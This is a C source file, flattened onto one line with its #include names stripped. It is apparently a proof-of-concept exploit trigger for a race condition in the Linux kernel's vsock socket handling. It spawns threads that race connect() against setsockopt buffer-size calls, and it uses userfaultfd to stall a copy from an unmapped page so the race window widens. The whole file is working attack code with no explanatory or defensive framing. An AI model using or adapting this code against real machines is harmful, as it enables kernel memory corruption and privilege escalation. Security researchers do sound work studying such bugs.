#define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define USERFAULTFD_SYSNO 323 #define MAGICPAGE ((void*)0x444342414000) #define PAGELEN 0x1000 int start_server() { int s = -1; struct sockaddr_vm addr = {0}; addr.svm_family = AF_VSOCK; addr.svm_port = 1234; addr.svm_cid = VMADDR_CID_LOCAL; s = socket(AF_VSOCK, SOCK_STREAM, 0); if (s == -1) { perror("server socket"); goto ERR_END; } if (bind(s, (struct sockaddr*)&addr, sizeof(addr))) { perror("server bind"); close(s); s = -1; goto ERR_END; } if (listen(s, 1)) { perror("server listen"); goto ERR_END; } return s; ERR_END: if (s != -1) { close(s); } return -1; } typedef struct { int sock; sem_t* sem; } writerarg; void* writer(void* arg) { int ret = 0; writerarg* warg = (writerarg*)arg; uint64_t val = 0x4141; // we could set the max and min first so we aren't limited to between 0x80 - 0x40000? sem_wait(warg->sem); printf("Writing\n"); if (setsockopt(warg->sock, AF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE, &val, sizeof(val))) { perror("writer setsockopt"); ret = -1; } printf("Write Done\n"); return (void*)(ssize_t)ret; } typedef struct { int sock; sem_t* sem; } connecterarg; void* connecter(void* arg) { int ret = 0; connecterarg* carg = (connecterarg*)arg; struct sockaddr_vm addr = {0}; addr.svm_family = AF_VSOCK; addr.svm_port = 5678; addr.svm_cid = VMADDR_CID_HOST + 3; sem_wait(carg->sem); printf("Connecting\n"); if (connect(carg->sock, (struct sockaddr*)&addr, sizeof(addr))) { perror("connecter connect"); } printf("Connecter Done\n"); return (void*)(ssize_t)ret; } typedef struct { int sock; void* futureaddr; } gaterarg; void* gater(void* arg) { int ret = 0; gaterarg* garg = (gaterarg*)arg; if (setsockopt(garg->sock, AF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE, garg->futureaddr, sizeof(uint64_t))) { perror("gater setsockopt"); ret = -1; } printf("Gate Done\n"); return (void*)(ssize_t)ret; } int hitit() { int res = -1; int s = -1; struct sockaddr_vm addr = {0}; pthread_t wtid; pthread_t ctid; pthread_t gtid; sem_t writer_sem; sem_t connecter_sem; writerarg warg; connecterarg carg; gaterarg garg; int faultfd = -1; struct uffdio_api ufapi; struct uffdio_register ufreg; struct uffd_msg fmsg; struct uffdio_zeropage go; void* magicaddr; ssize_t nread; struct timeval timeout; addr.svm_family = AF_VSOCK; addr.svm_port = 1234; addr.svm_cid = VMADDR_CID_LOCAL; s = socket(AF_VSOCK, SOCK_STREAM, 0); if (s == -1) { perror("socket"); goto END; } timeout.tv_sec = 0; timeout.tv_usec = 100; if (setsockopt(s, AF_VSOCK, SO_VM_SOCKETS_CONNECT_TIMEOUT, &timeout, sizeof(timeout))) { perror("timeout setsockopt"); goto END; } if (connect(s, (struct sockaddr*)&addr, sizeof(addr))) { perror("inital connect"); } printf("Connect1...\n"); // create & setup userfaultd faultfd = syscall(323, 0); if (faultfd < 0) { perror("userfaultfd"); goto END; } ufapi.api = UFFD_API; ufapi.features = 0; if (ioctl(faultfd, UFFDIO_API, &ufapi) == -1) { perror("ioctl UFFDIO_API"); goto END; } // allocate the untouched memory magicaddr = mmap(MAGICPAGE, PAGELEN, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (magicaddr == MAP_FAILED) { perror("mmap"); goto END; } ufreg.range.start = (uint64_t)magicaddr; ufreg.range.len = PAGELEN; ufreg.mode = UFFDIO_REGISTER_MODE_MISSING; if (ioctl(faultfd, UFFDIO_REGISTER, &ufreg)) { perror("ioctl UFFDIO_REGISTER"); goto END; } // initalize semaphores if (sem_init(&writer_sem, 0, 0)) { perror("writer sem_init"); goto END; } if (sem_init(&connecter_sem, 0, 0)) { perror("connecter sem_init"); goto END; } // start connecter carg.sock = s; carg.sem = &connecter_sem; if (pthread_create(&ctid, NULL, connecter, (void*)&carg)) { perror("connecter pthread_create"); goto END; } // start writer warg.sock = s; warg.sem = &writer_sem; if (pthread_create(&wtid, NULL, writer, (void*)&warg)) { perror("writer pthread_create"); goto END; } // start gater garg.sock = s; garg.futureaddr = magicaddr; if (pthread_create(>id, NULL, gater, (void*)&garg)) { perror("gater pthread_create"); goto END; } // wait on userfault nread = read(faultfd, &fmsg, sizeof(fmsg)); if (nread < 0) { perror("userfaultfd read"); goto END; } else if (nread == 0) { fprintf(stderr, "EOF for userfault fd?\n"); goto END; } if (fmsg.event != UFFD_EVENT_PAGEFAULT) { fprintf(stderr, "Got weird event %d\n", fmsg.event); goto END; } if ((fmsg.arg.pagefault.address < (uint64_t)magicaddr) || (fmsg.arg.pagefault.address >= (uint64_t)(magicaddr+PAGELEN))) { fprintf(stderr, "Got strange address for fault %p\n", (void*)fmsg.arg.pagefault.address); goto END; } printf("Got the fault!\n"); sem_post(&connecter_sem); sem_post(&writer_sem); // wait a touch printf("Press 'g' to handle the fault\n"); while (getchar() != 'g') {}; // specify fault as handled go.range.start = (uint64_t)magicaddr; go.range.len = PAGELEN; go.mode = 0; if (ioctl(faultfd, UFFDIO_ZEROPAGE, &go)) { perror("ioctl UFFDIO_ZEROPAGE"); goto END; } if (go.zeropage < 0) { fprintf(stderr, "Got zeropage error: %llx\n", -go.zeropage); goto END; } else if (go.zeropage != PAGELEN) { fprintf(stderr, "Got strange amount zeroed: %llx\n", go.zeropage); goto END; } res = 0; END: if (faultfd >= 0) { close(faultfd); } if (s >= 0) { close(s); } return res; } int main(int argc, char* argv[]) { int res = -1; int server = -1; setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); if (argc > 1 && !strcmp(argv[1], "-load")) { server = start_server(0); if (server == -1) { fprintf(stderr, "Did not start server\n"); goto END; } // end early, we just wanted to get the ko's loaded fprintf(stderr, "vsock used\n"); res = 0; goto END; } res = hitit(); printf("Res %d\nPress 'q' to close the process...\n", res); while (getchar() != 'q') {}; END: return res; }